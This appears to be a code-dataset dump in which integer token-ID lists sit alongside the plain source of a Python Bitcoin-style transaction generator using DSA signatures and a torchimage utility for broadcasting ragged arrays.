29901,
13,
18884,
565,
376,
29885,
4992,
29908,
451,
297,
4160,
29961,
524,
29898,
1792,
4638,
29901,
13,
462,
1678,
4160,
29961,
524,
29898,
1792,
4638,
3366,
29885,
4992,
3108,
353,
6571,
13,
18884,
565,
5633,
29961,
29906,
29962,
451,
297,
4160,
29961,
524,
29898,
1792,
4638,
3366,
29885,
4992,
3108,
29901,
13,
462,
1678,
4160,
29961,
524,
29898,
1792,
4638,
3366,
29885,
4992,
3108,
29961,
20895,
29961,
29906,
5262,
353,
29871,
29900,
13,
13,
18884,
16256,
15942,
29918,
262,
29918,
21125,
29889,
1202,
29898,
20895,
29961,
29906,
2314,
13,
18884,
4160,
29961,
524,
29898,
1792,
4638,
3366,
29885,
4992,
3108,
29961,
20895,
29961,
29906,
5262,
4619,
5785,
29898,
20895,
29961,
29896,
2314,
13,
18884,
3638,
29918,
4906,
703,
1202,
29918,
29885,
4992,
613,
938,
29898,
1792,
511,
851,
29898,
978,
511,
5633,
29961,
29896,
29962,
718,
376,
376,
718,
5633,
29961,
29906,
2314,
13,
4706,
25342,
5591,
1745,
29908,
297,
13872,
29901,
13,
9651,
23197,
287,
353,
7700,
13,
9651,
5633,
353,
13872,
29889,
5451,
703,
16521,
13,
9651,
565,
376,
29885,
4992,
29908,
297,
4160,
29961,
524,
29898,
1792,
4638,
29901,
13,
18884,
565,
5633,
29961,
29906,
29962,
297,
4160,
29961,
524,
29898,
1792,
4638,
3366,
29885,
4992,
3108,
29901,
13,
462,
1678,
565,
4160,
29961,
524,
29898,
1792,
4638,
3366,
29885,
4992,
3108,
29961,
20895,
29961,
29906,
5262,
1405,
5785,
29898,
20895,
29961,
29896,
29962,
1125,
13,
462,
4706,
4160,
29961,
524,
29898,
1792,
4638,
3366,
29885,
4992,
3108,
29961,
20895,
29961,
29906,
5262,
22361,
5785,
29898,
20895,
29961,
29896,
2314,
13,
462,
4706,
3638,
29918,
4906,
703,
1745,
29918,
29885,
4992,
613,
938,
29898,
1792,
511,
851,
29898,
978,
511,
5633,
29961,
29896,
29962,
718,
376,
376,
718,
5633,
29961,
29906,
2314,
13,
462,
4706,
23197,
287,
353,
5852,
13,
13,
9651,
565,
451,
23197,
287,
29901,
13,
18884,
3638,
29918,
4906,
703,
1745,
29918,
29885,
4992,
29918,
10052,
613,
938,
29898,
1792,
511,
851,
29898,
978,
511,
5633,
29961,
29896,
29962,
718,
376,
376,
718,
5633,
29961,
29906,
2314,
13,
4706,
25342,
5591,
3888,
29908,
1275,
13872,
29901,
13,
9651,
3638,
29918,
4906,
703,
3888,
613,
938,
29898,
1792,
511,
851,
29898,
978,
511,
1404,
29918,
8977,
29922,
7193,
29897,
13,
4706,
25342,
5591,
517,
29918,
2764,
29908,
297,
13872,
29901,
13,
9651,
4160,
29961,
524,
29898,
1792,
4638,
3366,
517,
29918,
2764,
3108,
353,
13872,
29889,
5451,
703,
376,
9601,
29896,
29962,
13,
9651,
16256,
15942,
29918,
262,
29918,
21125,
29889,
1202,
29898,
7193,
29961,
524,
29898,
1792,
4638,
3366,
517,
29918,
2764,
20068,
13,
4706,
25342,
5591,
1195,
29908,
297,
13872,
29901,
13,
9651,
4160,
29961,
524,
29898,
1792,
4638,
3366,
1195,
3108,
353,
5785,
29898,
3945,
29889,
5451,
703,
376,
9601,
29896,
2314,
13,
4706,
25342,
5591,
3317,
29908,
297,
13872,
29901,
13,
9651,
4160,
29961,
524,
29898,
1792,
4638,
3366,
3317,
3108,
353,
5785,
29898,
3945,
29889,
5451,
703,
376,
9601,
29896,
2314,
13,
13,
13,
1753,
1667,
7295,
13,
1678,
9225,
29889,
4906,
29918,
7888,
29898,
4906,
29918,
13789,
29897,
13,
13,
1678,
1550,
29871,
29896,
29901,
13,
4706,
363,
1404,
297,
4160,
29901,
13,
9651,
565,
376,
517,
29918,
2764,
29908,
297,
4160,
29961,
524,
29898,
1792,
4638,
322,
376,
29885,
4992,
29908,
297,
4160,
29961,
524,
29898,
1792,
4638,
29901,
13,
18884,
3151,
29918,
262,
10147,
358,
353,
1857,
29918,
262,
10147,
358,
29898,
9155,
29918,
26095,
29898,
21962,
15942,
11759,
1989,
363,
1820,
297,
4160,
29961,
524,
29898,
1792,
4638,
3366,
29885,
4992,
3108,
1402,
13,
462,
462,
462,
462,
259,
304,
29918,
26095,
29922,
7193,
29961,
1792,
29962,
3366,
517,
29918,
2764,
3108,
511,
13,
462,
462,
462,
1678,
4160,
29961,
524,
29898,
1792,
4638,
3366,
29885,
4992,
12436,
4160,
29961,
1792,
29962,
3366,
517,
29918,
2764,
20068,
13,
18884,
565,
376,
3317,
29908,
297,
4160,
29961,
524,
29898,
1792,
4638,
322,
3151,
29918,
262,
10147,
358,
1405,
4160,
29961,
524,
29898,
1792,
4638,
3366,
3317,
3108,
29901,
13,
462,
1678,
3638,
29918,
4906,
703,
9812,
261,
613,
938,
29898,
1792,
511,
4160,
29961,
524,
29898,
1792,
4638,
3366,
978,
20068,
13,
18884,
25342,
376,
1195,
29908,
297,
4160,
29961,
524,
29898,
1792,
4638,
322,
3151,
29918,
262,
10147,
358,
529,
4160,
29961,
524,
29898,
1792,
4638,
3366,
1195,
3108,
29901,
13,
462,
1678,
3638,
29918,
4906,
703,
13609,
613,
938,
29898,
1792,
511,
4160,
29961,
524,
29898,
1792,
4638,
3366,
978,
20068,
13,
4706,
931,
29889,
17059,
29898,
29896,
29900,
29897,
13,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
1667,
580,
13,
2
] |
Software for Other Building Blocks and Integration/TxBlockGen.py | fkerem/Cryptocurrency-Blockchain | 0 | 114483 | """
TxBlockGen.py
"""
import DSA
from random import *
def satoshi(): # To generate a satoshi amount arbitrarily.
return str(randint(1, 999))
def BeforeSign(p, q, g, payer_b, payee_b): #The Lines of the Transaction to be Signed
transaction = \
"*** Bitcoin transaction ***" + "\n" + \
"Serial number: " + str(DSA.bitGenerator(2**128-1)) + "\n" + \
"p: " + str(p) + "\n" + \
"q: " + str(q) + "\n" + \
"g: " + str(g) + "\n" + \
"Payer Public Key (beta): " + str(payer_b) + "\n" + \
"Payee Public Key (beta): " + str(payee_b) + "\n" + \
"Amount: " + satoshi() + " Satoshi" + "\n"
return transaction
def TransactionGen(p, q, g): #Generating one transaction
(payer_a, payer_b) = DSA.KeyGen(p, q, g) #Generating Keys for Payer
(payee_a, payee_b) = DSA.KeyGen(p, q, g) #Generating Keys for Payee
transaction = BeforeSign(p, q, g, payer_b, payee_b) #Generating first part of the Transaction
(r, s) = DSA.SignGen(transaction, p, q, g, payer_a, payer_b) #Signing the Transaction
transaction += \
"Signature (r): " + str(r) + "\n" + \
"Signature (s): " + str(s) + "\n"
#Appending the signatures
return transaction
def GenTxBlock(p, q, g, count): #Generating transactions based on count
transactions = ""
for i in range(0, count):
transactions += TransactionGen(p, q, g)
return transactions
| [
1,
9995,
30004,
13,
29911,
29916,
7445,
15462,
29889,
2272,
30004,
13,
30004,
13,
15945,
19451,
13,
30004,
13,
5215,
360,
8132,
30004,
13,
3166,
4036,
1053,
334,
30004,
13,
30004,
13,
1753,
3290,
26434,
7295,
396,
1763,
5706,
263,
3290,
26434,
5253,
9727,
6275,
22993,
13,
1678,
736,
851,
29898,
9502,
524,
29898,
29896,
29892,
29871,
29929,
29929,
29929,
876,
30004,
13,
30004,
13,
1753,
10949,
10140,
29898,
29886,
29892,
3855,
29892,
330,
29892,
282,
2747,
29918,
29890,
29892,
5146,
3905,
29918,
29890,
1125,
396,
1576,
365,
1475,
310,
278,
4103,
2467,
304,
367,
9954,
287,
30004,
13,
1678,
10804,
353,
320,
30004,
13,
1678,
376,
17435,
18531,
1111,
262,
10804,
18610,
29908,
718,
6634,
29876,
29908,
718,
320,
30004,
13,
1678,
376,
9125,
1353,
29901,
376,
718,
851,
29898,
29928,
8132,
29889,
2966,
21575,
29898,
29906,
1068,
29896,
29906,
29947,
29899,
29896,
876,
718,
6634,
29876,
29908,
718,
320,
30004,
13,
1678,
376,
29886,
29901,
376,
718,
851,
29898,
29886,
29897,
718,
6634,
29876,
29908,
718,
320,
30004,
13,
1678,
376,
29939,
29901,
376,
718,
851,
29898,
29939,
29897,
718,
6634,
29876,
29908,
718,
320,
30004,
13,
1678,
376,
29887,
29901,
376,
718,
851,
29898,
29887,
29897,
718,
6634,
29876,
29908,
718,
320,
30004,
13,
1678,
376,
29925,
2747,
5236,
7670,
313,
3571,
1125,
376,
718,
851,
29898,
29886,
2747,
29918,
29890,
29897,
718,
6634,
29876,
29908,
718,
320,
30004,
13,
1678,
376,
15467,
3905,
5236,
7670,
313,
3571,
1125,
376,
718,
851,
29898,
10472,
3905,
29918,
29890,
29897,
718,
6634,
29876,
29908,
718,
320,
30004,
13,
1678,
376,
18087,
29901,
376,
718,
3290,
26434,
580,
718,
376,
317,
4507,
2918,
29908,
718,
6634,
29876,
19451,
13,
1678,
736,
10804,
30004,
13,
30004,
13,
1753,
4103,
2467,
15462,
29898,
29886,
29892,
3855,
29892,
330,
1125,
396,
5631,
1218,
697,
10804,
30004,
13,
1678,
313,
29886,
2747,
29918,
29874,
29892,
282,
2747,
29918,
29890,
29897,
353,
360,
8132,
29889,
2558,
15462,
29898,
29886,
29892,
3855,
29892,
330,
29897,
396,
5631,
1218,
4813,
952,
363,
349,
2747,
30004,
13,
1678,
313,
10472,
3905,
29918,
29874,
29892,
5146,
3905,
29918,
29890,
29897,
353,
360,
8132,
29889,
2558,
15462,
29898,
29886,
29892,
3855,
29892,
330,
29897,
396,
5631,
1218,
4813,
952,
363,
14617,
3905,
30004,
13,
1678,
10804,
353,
10949,
10140,
29898,
29886,
29892,
3855,
29892,
330,
29892,
282,
2747,
29918,
29890,
29892,
5146,
3905,
29918,
29890,
29897,
396,
5631,
1218,
937,
760,
310,
278,
4103,
2467,
30004,
13,
1678,
313,
29878,
29892,
269,
29897,
353,
360,
8132,
29889,
10140,
15462,
29898,
20736,
29892,
282,
29892,
3855,
29892,
330,
29892,
282,
2747,
29918,
29874,
29892,
282,
2747,
29918,
29890,
29897,
396,
10140,
292,
278,
4103,
2467,
30004,
13,
1678,
10804,
4619,
320,
30004,
13,
1678,
376,
10140,
1535,
313,
29878,
1125,
376,
718,
851,
29898,
29878,
29897,
718,
6634,
29876,
29908,
718,
320,
30004,
13,
1678,
376,
10140,
1535,
313,
29879,
1125,
376,
718,
851,
29898,
29879,
29897,
718,
6634,
29876,
19451,
13,
1678,
396,
2052,
2548,
278,
1804,
3698,
30004,
13,
1678,
736,
10804,
30004,
13,
1678,
6756,
13,
1753,
5739,
29911,
29916,
7445,
29898,
29886,
29892,
3855,
29892,
330,
29892,
2302,
1125,
396,
5631,
1218,
22160,
2729,
373,
2302,
30004,
13,
1678,
22160,
353,
5124,
30004,
13,
1678,
363,
474,
297,
3464,
29898,
29900,
29892,
2302,
1125,
30004,
13,
4706,
22160,
4619,
4103,
2467,
15462,
29898,
29886,
29892,
3855,
29892,
330,
8443,
13,
30004,
13,
1678,
736,
22160,
30004,
13,
2
] |
torchimage/utils/ragged.py | miaotianyi/torchimage | 10 | 104556 | <filename>torchimage/utils/ragged.py
import torch
import numpy as np
def is_scalar(a) -> bool:
"""
Tests if a python object is a scalar (instead of an array)
Parameters
----------
a : object
Any object to be checked
Returns
-------
bool
Whether the input object is a scalar
"""
if isinstance(a, (list, tuple)):
return False
if hasattr(a, "__array__") and hasattr(a, "__len__"): # np.array(1) is scalar
return False
return True
def get_ragged_ndarray(data, strict=True):
"""
Recursive function for ragged array broadcasting and shape determination.
Ragged multi-dimensional arrays are a superclass to hyper-rectangular
multi-dimensional arrays (like numpy ndarray), such that the shapes
of array items may be different, e.g. ``[[1], [2, 3], [4, 5, 6]]``.
However, the ndim of items at the same level must be the same.
For example, ``[1, [2, 3]]`` is not a valid ragged ndarray but
``[[1], [2, 3]]`` is. In other words, items in the same array
must be the same "type" in terms of nested array hierarchy.
It might be more intuitive to think of a ragged ndarray as a
tree where every leaf has the same depth.
This data structure is designed to robustly handle all possible
python data types, especially torch.Tensor and numpy.ndarray,
but it's not optimized for time or space.
Parameters
----------
data : array_like
Input ragged ndarray to be assessed.
strict : bool
If True, regards all items as leaf objects when sibling items different
depths. Otherwise, attempt to broadcast items with smaller depth,
e.g. [a, [b]] -> [[a], [b]].
With tree terminology, in ``strict=False`` mode, the shallower leaves are
"lifted" to the maximum depth and new trivial nodes are filled in between.
Whereas in ``strict=True`` mode, the minimum depth is regarded as ground
truth and deeper nodes are not counted.
Returns
-------
data : array_like
The same ragged ndarray. It is modified only when ``strict=False``
and sibling items have different lengths (automatically broadcast).
The broadcasting process uses tuple type for its immutability.
shape : tuple of int
The shape of the ragged ndarray; represented similarly to that of
a regular ndarray.
If array items have different lengths at a certain axis, the shape
at that axis is defined as -1.
"""
if torch.is_tensor(data):
# torch Tensor cannot be ragged
# it also cannot take on non-numeric values
return data, tuple(data.shape)
if isinstance(data, np.ndarray):
if np.issubdtype(data.dtype, np.number) or np.issubdtype(data.dtype, np.bool_):
# cannot be ragged with numeric types
return data, tuple(data.shape)
if is_scalar(data): # scalar
return data, ()
if not data: # empty array
return data, (0, )
item_list = []
item_shape_list = []
for item in data:
item, item_shape = get_ragged_ndarray(item, strict=strict)
item_list.append(item)
item_shape_list.append(item_shape)
ndim_set = set(len(shape) for shape in item_shape_list)
if len(ndim_set) > 1:
if strict:
ndim = 0 # regarded as leaf
else:
# otherwise auto broadcast
ndim = max(ndim_set)
for i, (item, item_shape) in enumerate(zip(item_list, item_shape_list)):
for j in range(ndim - len(item_shape)):
item = (item, ) # broadcast add depth
item_list[i] = item
data = tuple(item_list)
item_shape_list = [(1, ) * (ndim - len(s)) + s for s in item_shape_list]
else:
ndim = next(iter(ndim_set))
item_shape = [-1] * ndim
for i in range(ndim):
length_i_set = {s[i] for s in item_shape_list} # set of lengths at axis i
if len(length_i_set) > 1:
item_shape[i] = -1
else:
item_shape[i] = next(iter(length_i_set))
return data, tuple([len(data)] + item_shape)
def _recursive_expand(arr, target_shape):
# recursively expand the ragged ndarray according to target_shape
# also returns a 3rd result (whether the array is indeed modified)
# shape has the same depth as arr
if not target_shape: # reaches leaf node
return arr, target_shape, False
if torch.is_tensor(arr):
result = arr.expand(*target_shape)
return result, tuple(result.shape), result.shape != arr.shape
if isinstance(arr, np.ndarray):
if np.issubdtype(arr.dtype, np.number) or np.issubdtype(arr.dtype, np.bool_):
target_shape = [old if new == -1 else new for old, new in zip(arr.shape, target_shape)]
result = np.broadcast_to(arr, shape=target_shape)
return result, tuple(target_shape), result.shape != arr.shape
if is_scalar(arr): # scalar
return arr, (), False
if not arr: # empty array
return arr, (0,), False
item_list = []
item_shape_list = []
modified = False
for item in arr:
item, item_shape, item_modified = _recursive_expand(item, target_shape=target_shape[1:])
item_list.append(item)
item_shape_list.append(item_shape)
modified = modified or item_modified
if modified:
arr = tuple(item_list)
ndim_set = set(len(item_shape) for item_shape in item_shape_list)
assert len(ndim_set) == 1
item_ndim = next(iter(ndim_set))
item_shape = [-1] * item_ndim
for i in range(item_ndim):
item_shape_set = {s[i] for s in item_shape_list} # set of lengths at axis i
if len(item_shape_set) > 1:
item_shape[i] = -1
else:
item_shape[i] = next(iter(item_shape_set))
# broadcast (expand) this dimension
if target_shape[0] == -1 or target_shape[0] == len(arr): # no need to expand
return arr, tuple([len(arr)] + item_shape), modified
elif target_shape[0] == 0:
shape = tuple([0] + item_shape)
return np.empty(shape), shape, True
elif len(arr) == 1: # singleton dimension; shape[0] is positive int
return tuple(arr[0] for _ in range(target_shape[0])), tuple([target_shape[0]] + item_shape), True # is modified
else:
raise ValueError(f"Non-singleton dimension {len(arr)} must match target length {target_shape[0]}")
def _check_zero_length(old_shape, new_shape):
# error if try to broadcast 0 length to nonzero length
for a1, a2 in zip(old_shape[::-1], new_shape[::-1]): # right-justify using reversal
if a1 == 0 and a2 > 0:
raise ValueError(f"Cannot expand 0-length dimension to nonzero-length: "
f"(right-justified) {old_shape} to {new_shape}")
def expand_ragged_ndarray(data, old_shape, new_shape):
"""
Expand the singleton dimensions in a ragged ndarray.
The input ragged ndarray of shape ``old_shape`` will be
broadcast to ``new_shape``. This function is similar to
``torch.expand`` and ``numpy.broadcast_to``.
Parameters
----------
data : array_like
Input ragged ndarray.
old_shape : tuple of int
Shape of the input ragged ndarray.
data and old_shape can be obtained from `get_ragged_ndarray`.
new_shape : tuple of int
New shape that the ragged ndarray should be broadcast to.
-1 at any axis in new shape means the original length
at that dimension will remain the same.
Returns
-------
data : array_like
Expanded ragged ndarray
final_shape : tuple of int
The shape of the expanded ragged ndarray
"""
old_shape = tuple(int(x) for x in old_shape)
new_shape = tuple(int(x) for x in new_shape)
# shortcut
if old_shape == new_shape:
return data, old_shape
old_ndim = len(old_shape)
new_ndim = len(new_shape)
_check_zero_length(old_shape, new_shape)
if old_ndim < new_ndim:
# ignore modified
data, final_shape, _ = _recursive_expand(data, target_shape=new_shape[new_ndim - old_ndim:])
for new_length in new_shape[:new_ndim-old_ndim][::-1]:
if new_length == -1: # no specification, add a trivial wrapper
data = (data, )
final_shape = (1, ) + final_shape
else:
data = (data, ) * new_length
final_shape = (new_length, ) + final_shape
elif old_ndim == new_ndim:
data, final_shape, _ = _recursive_expand(data, target_shape=new_shape)
else: # old_ndim > new_ndim
data, final_shape, _ = _recursive_expand(data, target_shape=(-1,) * (old_ndim - new_ndim) + new_shape)
return data, final_shape
def _recursive_apply(arr, func, depth):
if depth == 0: # regard this arr as item
return func(arr)
return tuple(_recursive_apply(sub, func=func, depth=depth-1) for sub in arr)
def apply_ragged_ndarray(arr, func, depth):
if not hasattr(depth, "__index__") or depth < 0:
raise ValueError(f"apply depth {depth} should be a nonnegative integer")
return _recursive_apply(arr=arr, func=func, depth=depth)
| [
1,
529,
9507,
29958,
7345,
305,
3027,
29914,
13239,
29914,
1431,
3192,
29889,
2272,
13,
5215,
4842,
305,
13,
5215,
12655,
408,
7442,
13,
13,
13,
1753,
338,
29918,
19529,
279,
29898,
29874,
29897,
1599,
6120,
29901,
13,
1678,
9995,
13,
1678,
4321,
29879,
565,
263,
3017,
1203,
338,
263,
17336,
313,
2611,
1479,
310,
385,
1409,
29897,
13,
13,
1678,
12662,
2699,
13,
1678,
448,
1378,
29899,
13,
1678,
263,
584,
1203,
13,
4706,
3139,
1203,
304,
367,
7120,
13,
13,
1678,
16969,
13,
1678,
448,
22158,
13,
1678,
6120,
13,
4706,
26460,
278,
1881,
1203,
338,
263,
17336,
13,
1678,
9995,
13,
1678,
565,
338,
8758,
29898,
29874,
29892,
313,
1761,
29892,
18761,
22164,
13,
4706,
736,
7700,
13,
1678,
565,
756,
5552,
29898,
29874,
29892,
376,
1649,
2378,
1649,
1159,
322,
756,
5552,
29898,
29874,
29892,
376,
1649,
2435,
1649,
29908,
1125,
29871,
396,
7442,
29889,
2378,
29898,
29896,
29897,
338,
17336,
13,
4706,
736,
7700,
13,
1678,
736,
5852,
13,
13,
13,
1753,
679,
29918,
1431,
3192,
29918,
299,
2378,
29898,
1272,
29892,
9406,
29922,
5574,
1125,
13,
1678,
9995,
13,
1678,
3599,
25397,
740,
363,
1153,
1505,
287,
1409,
12672,
292,
322,
8267,
3683,
3381,
29889,
13,
13,
1678,
390,
351,
3192,
2473,
29899,
12531,
7049,
526,
263,
2428,
1990,
304,
11266,
29899,
1621,
6825,
13,
1678,
2473,
29899,
12531,
7049,
313,
4561,
12655,
29871,
299,
2378,
511,
1316,
393,
278,
25834,
13,
1678,
310,
1409,
4452,
1122,
367,
1422,
29892,
321,
29889,
29887,
29889,
4954,
8999,
29896,
1402,
518,
29906,
29892,
29871,
29941,
1402,
518,
29946,
29892,
29871,
29945,
29892,
29871,
29953,
5262,
29952,
1412,
13,
1678,
2398,
29892,
278,
29871,
299,
326,
310,
4452,
472,
278,
1021,
3233,
1818,
367,
278,
1021,
29889,
13,
1678,
1152,
1342,
29892,
4954,
29961,
29896,
29892,
518,
29906,
29892,
29871,
29941,
5262,
16159,
338,
451,
263,
2854,
1153,
1505,
287,
29871,
299,
2378,
541,
13,
1678,
4954,
8999,
29896,
1402,
518,
29906,
29892,
29871,
29941,
5262,
16159,
338,
29889,
512,
916,
3838,
29892,
4452,
297,
278,
1021,
1409,
13,
1678,
1818,
367,
278,
1021,
376,
1853,
29908,
297,
4958,
310,
9322,
1409,
21277,
29889,
13,
13,
1678,
739,
1795,
367,
901,
27951,
573,
304,
1348,
310,
263,
1153,
1505,
287,
29871,
299,
2378,
408,
263,
13,
1678,
5447,
988,
1432,
20447,
756,
278,
1021,
10809,
29889,
13,
13,
1678,
910,
848,
3829,
338,
8688,
304,
16424,
368,
4386,
599,
1950,
13,
1678,
3017,
848,
4072,
29892,
7148,
4842,
305,
29889,
29911,
6073,
322,
12655,
29889,
299,
2378,
29892,
13,
1678,
541,
372,
29915,
29879,
451,
27545,
363,
931,
470,
2913,
29889,
13,
13,
1678,
12662,
2699,
13,
1678,
448,
1378,
29899,
13,
1678,
848,
584,
1409,
29918,
4561,
13,
4706,
10567,
1153,
1505,
287,
29871,
299,
2378,
304,
367,
1223,
11517,
29889,
13,
13,
1678,
9406,
584,
6120,
13,
4706,
960,
5852,
29892,
21778,
599,
4452,
408,
20447,
3618,
746,
27767,
1847,
4452,
1422,
13,
4706,
10809,
29879,
29889,
13466,
29892,
4218,
304,
12672,
4452,
411,
7968,
10809,
29892,
13,
4706,
321,
29889,
29887,
29889,
518,
29874,
29892,
518,
29890,
5262,
1599,
5519,
29874,
1402,
518,
29890,
29962,
1822,
13,
13,
4706,
2973,
5447,
6624,
3002,
29892,
297,
4954,
710,
919,
29922,
8824,
16159,
4464,
29892,
278,
4091,
1680,
11308,
526,
13,
4706,
376,
29880,
2027,
287,
29908,
304,
278,
7472,
10809,
322,
716,
12604,
7573,
526,
10423,
297,
1546,
29889,
13,
4706,
6804,
294,
297,
4954,
710,
919,
29922,
5574,
16159,
4464,
29892,
278,
9212,
10809,
338,
17878,
408,
5962,
13,
4706,
8760,
322,
25871,
7573,
526,
451,
29115,
29889,
13,
13,
1678,
16969,
13,
1678,
448,
22158,
13,
1678,
848,
584,
1409,
29918,
4561,
13,
4706,
450,
1021,
1153,
1505,
287,
29871,
299,
2378,
29889,
739,
338,
9120,
871,
746,
4954,
710,
919,
29922,
8824,
16159,
13,
4706,
322,
27767,
1847,
4452,
505,
1422,
27497,
313,
17405,
19574,
12672,
467,
13,
13,
4706,
450,
12672,
292,
1889,
3913,
18761,
1134,
363,
967,
5198,
329,
3097,
29889,
13,
13,
1678,
8267,
584,
18761,
310,
938,
13,
4706,
450,
8267,
310,
278,
1153,
1505,
287,
29871,
299,
2378,
29936,
9875,
22829,
304,
393,
310,
13,
4706,
263,
4943,
29871,
299,
2378,
29889,
13,
13,
4706,
960,
1409,
4452,
505,
1422,
27497,
472,
263,
3058,
9685,
29892,
278,
8267,
13,
4706,
472,
393,
9685,
338,
3342,
408,
448,
29896,
29889,
13,
1678,
9995,
13,
1678,
565,
4842,
305,
29889,
275,
29918,
20158,
29898,
1272,
1125,
13,
4706,
396,
4842,
305,
323,
6073,
2609,
367,
1153,
1505,
287,
13,
4706,
396,
372,
884,
2609,
2125,
373,
1661,
29899,
21574,
1819,
13,
4706,
736,
848,
29892,
18761,
29898,
1272,
29889,
12181,
29897,
13,
13,
1678,
565,
338,
8758,
29898,
1272,
29892,
7442,
29889,
299,
2378,
1125,
13,
4706,
565,
7442,
29889,
790,
431,
29881,
1853,
29898,
1272,
29889,
29881,
1853,
29892,
7442,
29889,
4537,
29897,
470,
7442,
29889,
790,
431,
29881,
1853,
29898,
1272,
29889,
29881,
1853,
29892,
7442,
29889,
11227,
29918,
1125,
13,
9651,
396,
2609,
367,
1153,
1505,
287,
411,
16985,
4072,
13,
9651,
736,
848,
29892,
18761,
29898,
1272,
29889,
12181,
29897,
13,
13,
1678,
565,
338,
29918,
19529,
279,
29898,
1272,
1125,
29871,
396,
17336,
13,
4706,
736,
848,
29892,
3861,
13,
13,
1678,
565,
451,
848,
29901,
29871,
396,
4069,
1409,
13,
4706,
736,
848,
29892,
313,
29900,
29892,
1723,
13,
13,
1678,
2944,
29918,
1761,
353,
5159,
13,
1678,
2944,
29918,
12181,
29918,
1761,
353,
5159,
13,
1678,
363,
2944,
297,
848,
29901,
13,
4706,
2944,
29892,
2944,
29918,
12181,
353,
679,
29918,
1431,
3192,
29918,
299,
2378,
29898,
667,
29892,
9406,
29922,
710,
919,
29897,
13,
4706,
2944,
29918,
1761,
29889,
4397,
29898,
667,
29897,
13,
4706,
2944,
29918,
12181,
29918,
1761,
29889,
4397,
29898,
667,
29918,
12181,
29897,
13,
13,
268,
299,
326,
29918,
842,
353,
731,
29898,
2435,
29898,
12181,
29897,
363,
8267,
297,
2944,
29918,
12181,
29918,
1761,
29897,
13,
13,
1678,
565,
7431,
29898,
299,
326,
29918,
842,
29897,
1405,
29871,
29896,
29901,
13,
4706,
565,
9406,
29901,
13,
632,
299,
326,
353,
29871,
29900,
29871,
396,
17878,
408,
20447,
13,
4706,
1683,
29901,
13,
9651,
396,
6467,
4469,
12672,
13,
632,
299,
326,
353,
4236,
29898,
299,
326,
29918,
842,
29897,
13,
9651,
363,
474,
29892,
313,
667,
29892,
2944,
29918,
12181,
29897,
297,
26985,
29898,
7554,
29898,
667,
29918,
1761,
29892,
2944,
29918,
12181,
29918,
1761,
22164,
13,
18884,
363,
432,
297,
3464,
29898,
299,
326,
448,
7431,
29898,
667,
29918,
12181,
22164,
13,
462,
1678,
2944,
353,
313,
667,
29892,
1723,
29871,
396,
12672,
788,
10809,
13,
18884,
2944,
29918,
1761,
29961,
29875,
29962,
353,
2944,
13,
9651,
848,
353,
18761,
29898,
667,
29918,
1761,
29897,
13,
9651,
2944,
29918,
12181,
29918,
1761,
353,
17288,
29896,
29892,
1723,
334,
313,
299,
326,
448,
7431,
29898,
29879,
876,
718,
269,
363,
269,
297,
2944,
29918,
12181,
29918,
1761,
29962,
13,
1678,
1683,
29901,
13,
308,
299,
326,
353,
2446,
29898,
1524,
29898,
299,
326,
29918,
842,
876,
13,
13,
1678,
2944,
29918,
12181,
353,
21069,
29896,
29962,
334,
29871,
299,
326,
13,
13,
1678,
363,
474,
297,
3464,
29898,
299,
326,
1125,
13,
4706,
3309,
29918,
29875,
29918,
842,
353,
426,
29879,
29961,
29875,
29962,
363,
269,
297,
2944,
29918,
12181,
29918,
1761,
29913,
29871,
396,
731,
310,
27497,
472,
9685,
474,
13,
4706,
565,
7431,
29898,
2848,
29918,
29875,
29918,
842,
29897,
1405,
29871,
29896,
29901,
13,
9651,
2944,
29918,
12181,
29961,
29875,
29962,
353,
448,
29896,
13,
4706,
1683,
29901,
13,
9651,
2944,
29918,
12181,
29961,
29875,
29962,
353,
2446,
29898,
1524,
29898,
2848,
29918,
29875,
29918,
842,
876,
13,
13,
1678,
736,
848,
29892,
18761,
4197,
2435,
29898,
1272,
4638,
718,
2944,
29918,
12181,
29897,
13,
13,
13,
1753,
903,
3757,
25397,
29918,
18837,
29898,
2749,
29892,
3646,
29918,
12181,
1125,
13,
1678,
396,
8304,
3598,
7985,
278,
1153,
1505,
287,
29871,
299,
2378,
5034,
304,
3646,
29918,
12181,
13,
1678,
396,
884,
3639,
263,
29871,
29941,
5499,
1121,
313,
1332,
1979,
278,
1409,
338,
6200,
9120,
29897,
13,
13,
1678,
396,
8267,
756,
278,
1021,
10809,
408,
3948,
13,
1678,
565,
451,
3646,
29918,
12181,
29901,
29871,
396,
22170,
20447,
2943,
13,
4706,
736,
3948,
29892,
3646,
29918,
12181,
29892,
7700,
13,
13,
1678,
565,
4842,
305,
29889,
275,
29918,
20158,
29898,
2749,
1125,
13,
4706,
1121,
353,
3948,
29889,
18837,
10456,
5182,
29918,
12181,
29897,
13,
4706,
736,
1121,
29892,
18761,
29898,
2914,
29889,
12181,
511,
1121,
29889,
12181,
2804,
3948,
29889,
12181,
13,
13,
1678,
565,
338,
8758,
29898,
2749,
29892,
7442,
29889,
299,
2378,
1125,
13,
4706,
565,
7442,
29889,
790,
431,
29881,
1853,
29898,
2749,
29889,
29881,
1853,
29892,
7442,
29889,
4537,
29897,
470,
7442,
29889,
790,
431,
29881,
1853,
29898,
2749,
29889,
29881,
1853,
29892,
7442,
29889,
11227,
29918,
1125,
13,
9651,
3646,
29918,
12181,
353,
518,
1025,
565,
716,
1275,
448,
29896,
1683,
716,
363,
2030,
29892,
716,
297,
14319,
29898,
2749,
29889,
12181,
29892,
3646,
29918,
12181,
4638,
13,
9651,
1121,
353,
7442,
29889,
6729,
328,
4384,
29918,
517,
29898,
2749,
29892,
8267,
29922,
5182,
29918,
12181,
29897,
13,
9651,
736,
1121,
29892,
18761,
29898,
5182,
29918,
12181,
511,
1121,
29889,
12181,
2804,
3948,
29889,
12181,
13,
13,
1678,
565,
338,
29918,
19529,
279,
29898,
2749,
1125,
29871,
396,
17336,
13,
4706,
736,
3948,
29892,
313,
511,
7700,
13,
13,
1678,
565,
451,
3948,
29901,
29871,
396,
4069,
1409,
13,
4706,
736,
3948,
29892,
313,
29900,
29892,
511,
7700,
13,
13,
1678,
2944,
29918,
1761,
353,
5159,
13,
1678,
2944,
29918,
12181,
29918,
1761,
353,
5159,
13,
1678,
9120,
353,
7700,
13,
1678,
363,
2944,
297,
3948,
29901,
13,
4706,
2944,
29892,
2944,
29918,
12181,
29892,
2944,
29918,
1545,
2164,
353,
903,
3757,
25397,
29918,
18837,
29898,
667,
29892,
3646,
29918,
12181,
29922,
5182,
29918,
12181,
29961,
29896,
29901,
2314,
13,
4706,
2944,
29918,
1761,
29889,
4397,
29898,
667,
29897,
13,
4706,
2944,
29918,
